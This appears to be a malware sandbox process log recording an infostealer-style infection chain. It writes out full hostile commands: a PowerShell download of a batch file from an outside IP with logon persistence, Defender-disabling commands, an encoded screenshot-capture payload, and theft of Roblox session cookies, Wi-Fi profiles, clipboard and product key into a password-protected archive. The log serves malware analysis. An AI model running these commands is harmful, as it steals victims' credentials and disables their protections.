C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7032,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4156,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:39⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=704,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6264,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4428,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5832,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5368,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5684,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=7000 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3460,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --field-trial-handle=6564,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=7284 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --field-trial-handle=7460,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=7476 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=7288,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=7508 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6460,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5392,i,13572805575549831961,139238597222718723,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:89⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +s +h d:\net8⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeSchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Windows\SysWOW64\Files\arce.exe"C:\Windows\System32\Files\arce.exe"3⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\Xbest%20V1.exe"C:\Windows\System32\Files\Xbest%20V1.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Files\Xbest%20V1.exe"C:\Windows\System32\Files\Xbest%20V1.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\Files\Xbest%20V1.exe'"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start bound.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\bound.exebound.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"5⤵
- Clipboard Data
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aj3430g4\aj3430g4.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB834.tmp" "c:\Users\Admin\AppData\Local\Temp\aj3430g4\CSC2363390BD2474012B938AE789407626.TMP"8⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵
-
C:\Windows\system32\tree.comtree /A /F6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI61402\rar.exe a -r -hp"xbest" "C:\Users\Admin\AppData\Local\Temp\wP8mW.zip" *"5⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI61402\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI61402\rar.exe a -r -hp"xbest" "C:\Users\Admin\AppData\Local\Temp\wP8mW.zip" *6⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\AA_v3.exe"C:\Windows\System32\Files\AA_v3.exe"3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Files\View.exe"C:\Windows\System32\Files\View.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Start.cmd" "4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.cmd"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\WScript.exe "C:\Users\Public\testvb1.vbs"6⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Public\ & copy /v /b /y C:\Users\Public\testvb1.vbs C:\Users\Public\testvb2.vbs7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\Start.cmd"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\Start2.cmd' -windowstyle hidden"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Start2.cmd" "7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\Start2.cmd"8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin"8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\System32\find.exe "0x0"8⤵
- System Location Discovery: System Language Discovery
-
-
